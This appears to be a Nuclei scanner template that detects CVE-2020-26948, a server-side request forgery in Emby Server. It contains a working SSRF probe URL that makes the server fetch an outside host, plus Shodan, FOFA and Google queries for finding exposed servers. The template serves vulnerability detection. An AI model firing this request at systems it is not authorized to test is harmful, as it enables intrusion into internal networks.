id: CVE-2020-26948

info:
  name: Emby Server Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: Emby Server before 4.5.0 allows server-side request forgery (SSRF) via the Items/RemoteSearch/Image ImageURL parameter.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, perform port scanning, and potentially pivot to other systems.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Emby Server.
  reference:
    - https://github.com/btnz-k/emby_ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26948
    - https://github.com/btnz-k/emby_ssrf/blob/master/emby_scan.rb
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2020-26948
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26948
    cwe-id: CWE-918
    epss-score: 0.1449
    epss-percentile: 0.95606
    cpe: cpe:2.3:a:emby:emby:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: emby
    product: emby
    shodan-query: http.title:"emby"
    fofa-query: title="emby"
    google-query: intitle:"emby"
  tags: cve2020,cve,emby,jellyfin,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Name or service not known"

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 500
# digest: 490a0046304402205aab2b7d67f632b300b0c6cc8826ced3929017f7c84a6bd6e3a1f3558fa1c68402206a10ba6600fa71e733e2dc56214d9ace0fde30a50a18152216e5c8ad7729f902:922c64590222798bb761d5b6d8e72950